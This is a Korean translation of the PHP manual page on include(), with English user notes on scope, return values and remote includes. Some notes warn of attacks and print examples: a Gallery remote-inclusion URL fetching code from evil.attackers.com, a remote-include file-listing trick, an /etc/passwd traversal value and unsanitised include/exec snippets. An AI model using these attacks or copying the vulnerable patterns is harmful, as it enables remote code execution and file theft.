SSISO Community

시소당

제어구조 - include()

include()
include()문은  특정  파일을  인클루드  하고,  적용시킨다.  

이하  내용은  require()에도  적용되는  사항이다.  두가지  구조는  수행실패를  제어하는  방법을  제외하고  모든면에서  동일하다.  include()는  Warning을  발생시키는  반면에  require()는  Fatal  Error을  발생시킨다.  즉,  파일이  존재하지  않을때  페이지  처리를  중단시키  고자  한다면  require()를  쓰는데  주저할  필요가  없다.  include()는  이와같이  동작하지  않으므로  파일이  없더라도  스크립트는  계속  실행될것이다.  또한  적절한  include_path설정인지  확인해야  한다.  require한  파일  안에서의  처리  오류는  수행을  멈추지  않는  점에  주의하십시오.  

파일을  포함할  경우  가장  먼저  현재  작업  디렉토리에  상대  경로로  include_path를  찾고,  다음으로  현재  스크립트의  디렉토리에  상대  경로로  include_path를  찾습니다.  예를  들어,  include_path가  .이고,  현재  작업  디렉토리  /www/에서  include/a.php를  포함하였고,  그  파일  안에  include  "b.php"이  존재하면,  b.php는  우선  /www/에서  찾고,  다음으로  /www/inclde/에서  찾습니다.  

파일이  인클루드  되면,  그  코드를  포함하는  코드는  인클루드가  발생한  줄의  변수  유효  범위를  물려받는다.  호출하는  파일의  그  줄에서  사용되는  어떤  변수도  그  줄부터는  호출된  파일안에서  사용이  가능하다.  

예  11-3.  기본적인  include()  사용예

vars.php
<?php

$color  =  'green';
$fruit  =  'apple';

?>

test.php
<?php

echo  "A  $color  $fruit";  //  A

include  'vars.php';

echo  "A  $color  $fruit";  //  A  green  apple

?>    
  


인클루드가  호출하는  파일안의  함수내에서  발생한다면,  호출된  파일안의  모든  코드가  그  함수에서  정의된것처럼  동작한다.  그래서,  그  함수의  변수  유효범위를  따를것이다.  

예  11-4.  함수  내에서  인클루드하기

<?php

function  foo()
{
      global  $color;

      include  'vars.php';

      echo  "A  $color  $fruit";
}

/*  vars.php  is  in  the  scope  of  foo()  so        *
  *  $fruit  is  NOT  available  outside  of  this    *
  *  scope.    $color  is  because  we  declared  it  *
  *  as  global.                                                            */

foo();                                        //  A  green  apple
echo  "A  $color  $fruit";    //  A  green

?>    
  


파일이  인클루드되면,  파싱은  PHP모드의  밖으로  나가서  목적  파일의  시작부분은  HTML모드로  들어가게  되고,  끝부분에서  원래대로  회복된다.  이때문에,  목적  파일에서  PHP코드로서  수행되어야  하는  코드는  유효한  PHP  시작과  마침  태그  로  막아줘야  한다.  

PHP에서  "URL  fopen  wrappers"가  활성화되어  있으면  (디폴트  설정임),  URL(HTTP나  다른  지원  래퍼(wrapper)  -  프로토콜  목록은  부록  L을  참고)을  사용하여  파일을  인클루드  할수  있다.  목적  서버가  목적  파일을  PHP코드로  해석한다면,  HTTP  GET으로  사용된  URL  리퀘스트  문자열은  변수로서  넘겨지게  될것이다.  이와같은  일은  파일을  인크루드  하고  부모  파일의  변수  유효범위를  상속하는  것과  같은  경우가  되지는  않는다.  스크립트는  실질적으로  원격  서버에서  실행이  되고  나서  로컬  스크립트에  포함된다.  


주의  
PHP  4.3.0  이후의  Windows  버전  PHP에서는  이  함수를  이용하여  원격  파일에  접근할  수  없습니다.  allow_url_fopen을  활성화하여도  마찬가지입니다.  
  

예  11-5.  HTTP로  include()하기

<?php

/*  This  example  assumes  that  www.example.com  is  configured  to  parse  .php
  *  files  and  not  .txt  files.  Also,  'Works'  here  means  that  the  variables
  *  $foo  and  $bar  are  available  within  the  included  file.  */

//  Won't  work;  file.txt  wasn't  handled  by  www.example.com  as  PHP
include  'http://www.example.com/file.txt?foo=1&bar=2';

//  Won't  work;  looks  for  a  file  named  'file.php?foo=1&bar=2'  on  the
//  local  filesystem.
include  'file.php?foo=1&bar=2';

//  Works.
include  'http://www.example.com/file.php?foo=1&bar=2';

$foo  =  1;
$bar  =  2;
include  'file.txt';    //  Works.
include  'file.php';    //  Works.

?>    
  
관련정보는  Remote  files,  fopen(),  file()함수를  참고하세요.  

include()와  require()는  특별한  언어  구조이기  때문에,  조건절  블록안에  들어가게  된다면,  구문  블록안으로  그들을  완벽하게  막아줘야  한다.  

예  11-6.  include()와  조건절  블록

<?php

//  This  is  WRONG  and  will  not  work  as  desired.
if  ($condition)
      include  $file;
else
      include  $other;


//  This  is  CORRECT.
if  ($condition)  {
      include  $file;
}  else  {
      include  $other;
}

?>    
  


반환  다루기:  include한  파일  안에서  그  파일의  수행을  종료하고,  호출한  스크립트로  돌아가기  위해서  return()문을  실행할  수  있습니다.  또한,  값을  반환하는  일도  가능합니다.  include  호출을  일반  함수를  사용한  것처럼  값을  받을  수  있습니다.  그러나,  원격  파일을  포함하였을  때,  그  파일의  출력이  (다른  로컬  파일처럼)  유효한  PHP  시작과  끝  태그를  가지지  않는다면  이  값을  받을  수  없습니다.  이  태그들  안에  필요한  값을  정의하면,  include한  파일의  어떤  위치에서라도  사용할  수  있습니다.  


참고:  PHP  3에서  그  블록이  함수가  아니면  블록  안에  return이  보이지  않을것이다.  그런  경우에는  전체  파일이  아니고  그  함수로만  return()이  적용된다.  


예  11-7.  include()와  return()문

return.php
<?php

$var  =  'PHP';

return  $var;

?>

noreturn.php
<?php

$var  =  'PHP';

?>

testreturns.php
<?php

$foo  =  include  'return.php';

echo  $foo;  //  prints  'PHP'

$bar  =  include  'noreturn.php';

echo  $bar;  //  prints  1

?>    
  


인클루드가  성공하면  $bar는  1의  값을  갖는다.  위  두  예제의  차이점에  주의해야  한다.  첫번째  경우는  인클루드된  파일에서  return()을  사용하지만  다른  예는  그렇지  않다.  변수로  파일을  "인클루드"하는  다른  방법은  fopen(),  file()  을  사용하거나,  Output  Control  Functions와  함께  include()를  쓰는것이다.  

참고:  이것은  함수가  아닌  언어  구조이기  때문에,  변수  함수  방식으로  호출할  수  없습니다.

require(),  require_once(),  include_once(),  readfile(),  virtual(),  그리고  include_path도  참고하세요.  




  add  a  note  User  Contributed  Notes
include  
dazio  at  playable  dot  de
12-Jun-2005  06:01  
to  aaronfultom  at  softhome  dot  net:

Including  a  non-php  file  like  the  html  template  with  ob_start()  and  ob_get_contents()  equals  file_get_contents().  Thus  there's  only  a  point  in  declaring/using  get_include_contents()  if  you  wanna  get  the  echo  of  some  included  php  file  into  a  variable.  
aaronfultom  at  softhome  dot  net
02-Jun-2005  05:07  
I  have  been  trying  to  use  php's  inlude  to  include  an  htm  template  file  which  has  been  marked  up  with  some  php  variables.    However  when  using  include()  the  php  parsing  drops  out.    This  code  keeps  the  parsing  on.    Hope  its  of  use  to  someone.  

$buffer  =  addslashes(get_include_contents('resultspage.htm'));  
eval("echo  \"".$buffer."\";");  

function  get_include_contents($filename)  {  
    if  (is_file($filename))  {  
          ob_start();  
          include  $filename;  
          $contents  =  ob_get_contents();  
          ob_end_clean();  
          return  $contents;  
    }  
    return  false;  
}  

results  page.htm:  
....  
                          <TD>{$output[variable]}</TD>  
....  
18-May-2005  12:10  
Thought  you  can  figure  it  out  by  reading  the  doc,  this  hint  might  save  you  some  time.  If  you  override  include_path,  be  sure  to  include  the  current  directory  (  .  )  in  the  path  list,  otherwise  include("includes/a.php")  will  not  search  in  the  current  script  directory.  

e.g  :

if(file_exists("includes/a.php"))
      include("includes/a.php")

The  first  line  will  test  to  true,  however  include  will  not  find  the  file,  and  you'll  get  a  "failed  to  open  stream"  error  
K.Tomono
13-May-2005  03:16  
When  you  use  remote  file  including  via  HTTP  GET,
it  will  be  of  course  parsed  at  local  PHP  environment  of  inner,
if  the  results  from  the  target  server  are  as  the  proper  php  code.

$  cat  p.notphp
<?php  phpinfo()  ?>

".notphp"  is  not  associated  to  application/x-httpd-php  on  the  target  server  of  course,

$  cat  remoi.php
<?php  include_once("http://target.localdomain/p.notphp");?>

Accessing  remoi.php,  then  you  will  see  the  local  phpinfo.

This  matter  might  be  merely  the  subject  about  this  manual  
doc  notations.
But  I  cannot  put  on  without  this  thing  being  well-known,
because  of  its  concern  with  a  social  security  reasons...  
php  at  REMOVEMEkennel17  dot  co  dot  uk
03-May-2005  09:20  
As  stated  above,  when  using  return()  to  terminate  execution  of  an  included  file,  any  functions  defined  in  the  file  will  still  be  defined  in  the  global  scope,  even  if  the  return()  occurs  before  their  definition.  

It  should  be  noted  that  class  definitions  behave  in  the  same  way.  
morris.php  <A  T>  it-solutions.org
28-Apr-2005  09:31  
Something  not  previously  stated  here  -  but  found  elsewhere  -  is  that  if  a  file  is  included  using  a  URL  and  it  has  a  '.php'  extension  -  the  file  is  parsed  by  php  -  not  just  included  as  it  would  be  if  it  were  linked  to  locally.

This  means  the  functions  and  (more  importantly)  classes  included  will  NOT  work.

for  example:

include  "http://MyServer.com/MyInclude.php";  

would  not  give  you  access  to  any  classes  or  functions  within  the  MyInclude.php  file.

to  get  access  to  the  functions  or  classes  you  need  to  include  the  file  with  a  different  extension  -  such  as  '.inc'  This  way  the  php  interpreter  will  not  'get  in  the  way'  and  the  text  will  be  included  normally.  
gillis  dot  php  at  TAKETHISAWAY  dot  gillis  dot  fi
14-Apr-2005  06:47  
This  is  not  directly  linked  to  the  include  function  itself.  But  i  had  a  problem  with  dynamically  generated  include-files  that  could  generate  parse  errors  and  cause  the  whole  script  to  parse-error.

So  as  i  could  not  find  any  ready  solution  for  this  problem  i  wrote  the  mini-function.  It's  not  the  most  handsome  solution,  but  it  works  for  me.

<?php
function  ChkInc($file){
      if(substr(exec("php  -l  $file"),  0,  28)  ==  "No  syntax  errors  detected  in"){
      return  true;
      }else{
      return  false;
      }
}
?>

if  someone  else  has  a  better  solution,  do  post  it...

Note.  remember  that  this  function  uses  unchecked  variables  passed  to  exec,  so  don't  use  it  for  direct  user  input  without  improving  it.

//Gillis  Danielsen  
necrotic  at  gmail  dot  com
10-Apr-2005  03:21  
To  expand  on  marco_  at  voxpopuli-forum  dot  net's  and  redeye  at  cs-aktuell  dot  de's  notes,  here's  a  function  to  securely  include  files  with  direct  output  or  a  return.

<?php

/*  The  DOC_ROOT  constant  should  set  on  it's  own  just  fine.  If  you  would  like  to  set  a  sub-directory,  just  tack  it  on  to  the  end.
For  example:
      define  (  'DOC_ROOT',  $_SERVER["DOCUMENT_ROOT"]."/inc_dir"  );
      define  (  'DOC_ROOT',  $_SERVER["DOCUMENT_ROOT"]."/stuff/inc_dir"  );

NOTE:  Leave  the  trailing  slash  off.  It  shouldn't  make  a  difference  mostly,  but  just  in  case  ;)
*/

define  (  'DOC_ROOT',  $_SERVER["DOCUMENT_ROOT"]  );

/*  Fill  this  with  all  forbidden  files.  It  only  requires  a  filename,  not  the  directory.*/
$badFiles  =  array  (
      'database.inc.php'
);
/*  Fill  this  with  all  forbidden  directories.  Please  provide  the  absolute  path,  with  DOC_ROOT  starting  the  path.  Please  see  the  example  already  in  the  array.*/
$badDirs  =  array  (
      DOC_ROOT.'/private',
);

/**
*  Provides  a  secure  method  of  including  files.
*
*  @param  string  $file    the  file  to  include
*  @param  bool  $return    wether  or  not  to  output  directly  or  return  via  output  buffering
*  @return  bool|string    false  on  failure,  true  on  success  without  $return=true,  string
*                                            with  file  with  $return=true
*  @author  James  "necrotic"  Logsdon  <necrotic  at  gmail  dot  com>
*  @version  1.0
*/
function  secure_include  (  $file,  $return  =  false  )
{
      global  $badFiles,  $badDirs;
      if  (  !is_array  (  $badFiles  )  OR  !isset  (  $badFiles  )  )  $badFiles  =  array();
      if  (  !is_array  (  $badDirs  )  OR  !isset  (  $badDirs  )  )  $badDirs  =  array();

      //  Get  path  information
      $realPath  =  realpath  (  $file  );
      $dirName    =  dirname  (  $realPath  );
      $baseName  =  basename  (  $realPath  );

      if  (  !$realPath  )
      {
              //  The  file  wasn't  found  by  realpath,  so  we  have  a  404.
              echo  '<h1>404  Not  Found</h1>  We  could  not  find  the  file  you  tried  to  load.';
              return  false;
      }
      else  if  (  in_array  (  $baseName,  $badFiles  )  OR
              in_array  (  $dirName,  $badDirs  )  OR
              !strstr  (  $realPath,  DOC_ROOT  )  )
      {
              //  Oh  crap!  It's  a  forbidden  file!
              echo  '<h1>403  Forbidden</h1>  You  do  not  have  permission  to  view  this  file.';
              return  false;
      }
      else  if  (  !$return  )
      {
              //  We're  safe,  include  away!
              include_once  (  $file  );
              return  true;
      }
      else
      {
              ob_start();
              include_once  (  $file  );
              $page  =  ob_get_contents();
              ob_end_clean();
              return  $page;
      }
}

/*
*  Usage
*  secure_include  (  'file.txt'  );  //  returns  true  if  exists,  outputs  error  or  file
*  secure_include  (  'file.txt',  true  );  //  returns  the  file  if  exists,  outputs  error  if  not  or  403  Forbidden
*/

?>  
webmaster  at  phpperu  dot  com
03-Apr-2005  08:28  
Similar  case  of  william~AT~phodex.dot.us:

Need  to  pass  session  vars  to  an  included  file  (include  file  doesnt  recognize  it  in  the  common  way).  Try  this:

YOUR  MAIN  PROGRAM,  PASS  USR  AND  TIME  SESSION  VARS
<?
session_start();
include  "http://www.demo.com/headfile.php?xusr=".$xusr."&xtime=".$xtime;
//  the  headfile  will  recognize  now  the  session  variables  $xusr  and  $xtime
?>  
dmhouse  at  gmail  dot  com
13-Feb-2005  02:56  
Adding  to  the  statements  made  by  durkboek  A_T  hotmail  D_O_T  com,  remote  includes  allow  for  the  possibilities  of  Cross-Site  Scripting  (XSS)  attacks.  Quoting  from  George  Schlossnagle's  'Advanced  PHP  Programming':

In  late  2002  a  widely  publicized  exploit  was  found  in  Gallery,  photo  album  software  written  in  PHP.  Gallery  used  the  configuration  variable  $GALLERY_BASEDIR,  which  was  intended  to  allow  users  to  change  the  default  base  directory  for  the  software.  The  default  behavior  left  the  variable  unset.  Inside,  the  code  include()  statements  all  looked  like  this:

require($GALLERY_BASEDIR  .  "init.php");

The  result  was  that  if  the  server  was  running  with  register_globals  on  (which  was  the  default  behavior  in  earlier  versions  of  PHP),  an  attacker  could  make  a  request  like  this:

http://gallery.example.com/view_photo.php?  \
GALLERY_BASEDIR=http://evil.attackers.com/evilscript.php%3F

This  would  cause  the  require  to  actually  evaluate  as  the  following:

require("http://evil.attackers.com/evilscript.php  ?init.php");

This  would  then  download  and  execute  the  specified  code  from  evil.attackers.com.

[...]

In  his  talk  "One  Year  of  PHP  at  Yahoo!"  Michael  Radwin  suggested  avoiding  URL  fopen()  calls  completely  and  instead  using  the  curl  extension  that  comes  with  PHP.  This  ensures  than  when  you  open  a  remote  resource,  you  intended  to  open  a  remote  resource.  
marcus  at  lastcraft  dot  com
24-Jan-2005  10:39  
Parse  errors  are  not  trapped  in  PHP  5.0.1  (probably  other  versions)  with  include().  Execution  still  stops  the  script.  This  differs  from  PHP  4.

This  is  a  shame  as  you  could  detect  and  react  to  errors  with...

$old  =  ini_get('track_errors');
ini_set('track_errors',  true);
include($file);
ini_set('track_errors',  $old);
if  (isset($php_errormsg))  {
      //  Perform  remedial  action
}

...but  alas,  not  with  PHP  5.  
dragon  at  wastelands  dot  net
10-Dec-2004  09:30  
The  __FILE__  macro  will  give  the  full  path  and  name  of  an  included  script  when  called  from  inside  the  script.    E.g.

<?  include("/different/root/script.php");  ?>

And  this  file  contains:
<?  echo  __FILE__;  ?>

The  output  is:
/different/root/script.php

Surprisingly  useful  :>    Obviously  something  like  dirname(__FILE__)  works  just  fine.  
william~AT~phodex.dot.us
25-Sep-2004  09:23  
Need  a  way  to  simpify  the  passing  of  may  variables  to  include  files?    Working  on  a  project  where  you  don't  have  access  to  every  script  involved?    Is  an  eval  or  some  other  routine  killing  your  access  to  $GLOBALS?

Let  us  call  this  aproach  Scope  Linking.
-----------------------------
We  can  "hijack"  the  $_SESSION  superglobal  (or  any  other)  and  use  it  for  our  own  purposes  (assuming  it's  not  in  use  already).    HERE'S  HOW:

-----------------------------
Main  file  (sample1.php):
<?php
      include  ('sample2.php');

      $_SESSION['var3']  =  array();

      $var2  =&  $_SESSION['var2'];
      $var3  =&  $_SESSION['var3'];

      $var1  =  "Origional  var1";
      $var2  =  "Origional  var2";
      $var3  =  array('house'=>'blue','car'=>'tired','jet'=>'scripted');

      $results  =  &Funky();

      echo  "------------------------<br>\n";
      echo  "Sample1  Script  Output<br>\n";
      echo  "Var1:  $var1<br>\n";
      echo  "Var2:  $var2<br>\n";
      echo  "Var3:  ${var3['house']}  ${var3['car']}  ${var3['jet']}<br>\n";
      echo  "------------------------<br>\n";
?>
-----------------------------

-----------------------------
Included  file  (sample2.php):
<?php
function  &Funky()
{
      foreach  ($_SESSION  as  $name=>$val  )
      {
          $$name  =&  $_SESSION["$name"];
      }
      echo  "------------------------<br>\n";
      echo  "Sample2  Script  Output<br>\n";
      echo  "Var1:  $var1<br>\n";
      echo  "Var2:  $var2<br>\n";
      echo  "Var3:  ${var3['house']}  ${var3['car']}  ${var3['jet']}<br>\n";

      $var1  =  'Second  var1';
      $var2  =  'wow,  both  ways!  var2  rulez!';
}
?>
-----------------------------

OUTPUT:
------------------------
Sample2  Script  Output
Var1:
Var2:  Origional  var2
------------------------
Sample1  Script  Output
Var1:  Origional  var1
Var2:  wow,  both  ways!  var2  rulez!
------------------------

YES  this  means  predeclairing  your  variables  by  referencing  them  to  $_SESSION  elements  unless  you  prefer  to  use  the  longer  form:
<?php    $_SESSION['var2']  =  "here's  var2";  ?>

if  you  want  all  $GLOBALS  has  to  offer  you  can  be  way  less  specific  (grab  it  all,  slower  &  only  a  copy):
<?php  
      foreach  ($GLOBALS  as  $name=>$val  )
      {
          $_SESSION["$name"]  =  $val;
      }
?>
To  see  what  you  have  access  to,  paste  this  in  at  the  point  you're  interested  in:
-----------------------------
<?php
      if(isset($_SESSION))
      {
              foreach  ($_SESSION  as  $key=>$val)
              {
                      echo  "$key  --  $val  <br>\n";
              }  
      }
?>
-----------------------------

P.  S.  Because  it's  a  superglobal  you  can  get  away  without  using  compact,  but  compact()  &  extract()  are  another  options  to  crack  this  nut.  
ron  at  clicks2hits  dot  com  Actionpro
23-Aug-2004  11:32  
Include  From  .PHP  to  .html

/show.php
<?
$For  =  chr(80).chr(72).chr(80).chr(10);
$Sure  =  chr(82).chr(79).chr(67).chr(75).chr(83);
$Dude  =    "$For$Sure";

$row  ='<font  size="#009999"  color="#8E1735"  face="Arial">PHP  And  JS!  Can  You  See  This!</font>';

echo  "document.write('$row')";
?>  

/here.html
<html>
<!--  Creation  date:  8/21/2004  -->
<head>
<meta  http-equiv="Content-Type"  content="text/html;  charset=iso-8859-1">
<title>Show  PHP  on  .Html</title>
</head>
<body>

<script  src="http://www.somesitesomeithink.com/show.php"></script>

</body>
</html>  
mattcimino  at  gardiners  dot  com
11-Aug-2004  09:47  
To  avoid  painfully  SLOW  INCLUDES  under  IIS  be  sure  to  set  "output_buffering  =  on"  in  php.ini.  File  includes  dropped  from  about  2  seconds  to  0  seconds  when  this  was  set.  
unazona  at  hotmail  dot  com
07-Aug-2004  01:44  
Hello,

I  found  away  to  turn  over  this,  it  was  like  this

strings.php
-----------
switch  ($msg_id)  {
case  001  :  echo  "test";break;
case  002  :  echo  "test2";break;
....}

index.php
------------
<script  type=javascript>
  msg  =  '<?  $msg_id  =  001;  include  "strings.php";  ?>';
  alert(msg);
</script>

...................

Alert  doesn't  work,  because  of  an  additional  LF  which  has  been  added  by  include,  so  I've  changed  the  code  as  the  follwing

strings.php
-----------
switch  ($msg_id)  {
case  001  :  return  "test";
case  002  :  return  "test2";
....}

index.php
------------
<script  type=javascript>
  msg  =  '<?  $msg_id  =  001;  echo  include  "strings.php";  ?>';
  alert(msg);
</script>

---------------

so  workss  ..  good  luck  ,  am  I  right  anyway  ?????????,,  
durkboek  A_T  hotmail  D_O_T  com
03-Jun-2004  08:09  
I  would  like  to  emphasize  the  danger  of  remote  includes.  For  example:
Suppose,  we  have  a  server  A  with  Linux  and  PHP  4.3.0  or  greater  installed  which  has  the  file  index.php  with  the  following  code:

<?php
//  File:  index.php
include  ($_GET['id'].".php");
?>

This  is,  of  course,  not  a  very  good  way  to  program,  but  i  actually  found  a  program  doing  this.

Then,  we  hava  a  server  B,  also  Linux  with  PHP  installed,  that  has  the  file  list.php  with  the  following  code:

<?php
//  File:  list.php
$output  =  "";
exec("ls  -al",$output);
foreach($output  as  $line)  {
echo  $line  .  "<br>\n";
}
?>

If  index.php  on  Server  A  is  called  like  this:  http://server_a/index.php?id=http://server_b/list
then  Server  B  will  execute  list.php  and  Server  A  will  include  the  output  of  Server  B,  a  list  of  files.

But  here's  the  trick:  if  Server  B  doesn't  have  PHP  installed,  it  returns  the  file  list.php  to  Server  A,  and  Server  A  executes  that  file.  Now  we  have  a  file  listing  of  Server  A!  
I  tried  this  on  three  different  servers,  and  it  allways  worked.
This  is  only  an  example,  but  there  have  been  hacks  uploading  files  to  servers  etc.

So,  allways  be  extremely  carefull  with  remote  includes.  
marco_  at  voxpopuli-forum  dot  net
13-Apr-2004  01:27  
In  addition  to  the  redeye  at  cs-aktuell  dot  de  note:

to  make  pseudo-frame  in  total  security

example:  http://www.yourdomain.com/index.php?page=news

<?php

/*  verify  the  validity  of  GET  var  page
if  not  set,  do  a  default  case                */
if(isset($HTTP_GET_VARS['page']))
{
  $p  =  $HTTP_GET_VARS['page'];
}
else
{
  $p  =  'index';
}

switch($p)
{
  case  'index':
  require('welcome.php');
  break;

  case  'news':
  require('news.php');
  break;

  case  'what  you  want':
  require('the  file  you  want');
  break;

  default:
  exit('Wrong  parameter  for  file  inclusion');
}

?>

marco_  
moosh  at  php  dot  net
16-Jan-2004  12:03  
<?php  
@include('/foo')  OR  die  ("bar");  #  <-  Won't  work  
@(include('/foo'))  OR  die  ("bar");  #  <-  Works  
?>  

so  "or"  have  prority  on  "include"  
vincent  [at]  consultmac  [dot]  calm
11-Dec-2003  01:32  
You  could  use  the  following  to  store  file  contents  using  include()  and  output  buffering:
----------------------------------

//  Aussme  $file  is  set

ob_start();
include($file);
$file_contents  =  ob_get_contents();
ob_end_clean();

-----------------------------------

Have  fun!  
james  at  gogo  dot  co  dot  nz
10-Dec-2003  03:03  
While  you  can  return  a  value  from  an  included  file,  and  receive  the  value  as  you  would  expect,  you  do  not  seem  to  be  able  to  return  a  reference  in  any  way  (except  in  array,  references  are  always  preserved  in  arrays).

For  example,  we  have  two  files,  file  1.php  contains...
<?php
    function  &x(&$y)
    {
      return  include(dirname(__FILE__)  .  '/2.php');
    }

    $z  =  "FOO\n";
    $z2  =  &x($z);

    echo  $z2;
    $z    =  "NOO\n";
    
    echo  $z2;
?>

and  file  2.php  contains...
<?php    return  $y;  ?>

calling  1.php  will  produce

FOO
FOO

i.e  the  reference  passed  to  x()  is  broken  on  it's  way  out  of  the  include()

Neither  can  you  do  something  like  <?php  $foo  =&  include(....);  ?>  as  that's  a  parse  error  (include  is  not  a  real  function,  so  can't  take  a  reference  in  that  case).    And  you  also  can't  do  <?php  return  &$foo  ?>  in  the  included  file  (parse  error  again,  nothing  to  assign  the  reference  too).

The  only  solutions  are  to  set  a  variable  with  the  reference  which  the  including  code  can  then  return  itself,  or  return  an  array  with  the  reference  inside.

---
James  Sleeman
http://www.gogo.co.nz/  
david  dot  gaia  dot  kano  at  dartmouth  dot  edu
04-Dec-2003  06:13  
I  just  discovered  a  "gotcha"  for  the  behavior  of  include  when  using  the  command  line  version  of  php.  

I  copied  all  the  included  files  needed  for  a  new  version  of  a  program  into  a  temporary  directory,  so  I  could  run  them  "off  to  the  side"  before  they  were  ready  for  release  into  the  live  area.  One  of  the  files  with  a  new  version  (call  it  common.inc.php  for  this  example)  normally  lives  in  one  of  the  directories  in  the  include  path.  But  I  did  not  want  to  put  the  new  version  there  yet!  So  I  copied  common.inc.php  into  my  temporary  directory  along  with  the  others,  figuring  that  the  interpreter  would  find  it  there  before  it  found  it  in  the  include  directory,  because  my  include  path  has  a  .  at  the  beginning.  When  I  tested  it,  everything  was  fine.

But  then  I  setup  a  cron  job  to  run  the  script  automatically  every  day.  In  the  crontab  I  placed  the  full  path  of  the  script.  But  when  it  ran,  it  included  the  old  version  of  my  common.inc.php  file  out  of  the  include  directory.  Interestingly,  the  other  include  files  that  only  existed  in  the  temporary  directory  were  included  fine.  

Evidently  AFTER  the  include  path  is  searched,  the  directory  in  which  the  main  script  lives  is  searched  as  well.  So  my  temporary  installation  almost  worked  fine,  except  for  the  lack  of  the  small  change  I  had  made  in  the  common  file  introduced  a  bug.

To  make  it  work  I  use  a  shell  script  to  start  my  php  script.  It  contains  a  cd  command  into  the  temporary  directory,  then  starts  the  php  script.

So  "current  directory"  (the  .  in  the  include  path)  for  a  command  line  script  is  really  the  current  directory  you  are  in  when  executing  the  script.  Whereas  it  means  the  directory  in  which  the  script  lives  when  executing  under  apache.

I  hope  this  helps  save  someone  else  the  hours  it  took  me  to  figure  out  my  problem!

David  
php  at  mijav  dot  dk
19-Nov-2003  11:07  
The  @  directive  works  with  this  construct  as  well.  My  experience  is  you  can  use  an  if-statement  to  verify  if  the  script  was  included  (I  havn't  tested  this  on  remote  includes,  there  might  be  non-standard-404  pages  that  makes  it  impossible  to  verify  you  got  the  right  page)
Example:
      //  ignore  the  notice  and  evaluate  the  return  value  of  the  script,  if  any.
      if(@include(dirname(__FILE__)."/foo.php"))
          echo  "foo.php  included";
      else
          echo  "failed  to  include  foo.php";  
redeye  at  cs-aktuell  dot  de
08-Feb-2003  10:29  
As  to  the  security  risks  of  an  include  statement  like:

<?php
    include($page);
?>

This  is  a  really  bad  way  on  writing  an  include  statement  because  the  user  could  include  server-  or  password-files  which  PHP  can  read  as  well.  You  could  check  the  $page  variable  first  but  a  simple  check  like  

<?php
    if  (  file_exists($page)  )  AND  !preg_match("#^\.\./#",$page)  )
      include($page);
?>

wont  make  it  any  safer.  (  Think  of  $page  =  'pages/../../../etc/passwd'  )

To  be  sure  only  pages  are  called  you  want  the  user  to  call  use  something  like  this:

<?php
    $path  =  'pages/';
    $extension  =  '.php';
    
    if  (  preg_match("#^[a-z0-9_]+$#i",$page)  ){
      $filename  =  $path.$page.$extension;
      include($filename);
    }
?>

This  will  only  make  sure  only  files  from  the  directory  $path  are  called  if  they  have  the  fileextension  $extension.  

39683 view

4.0 stars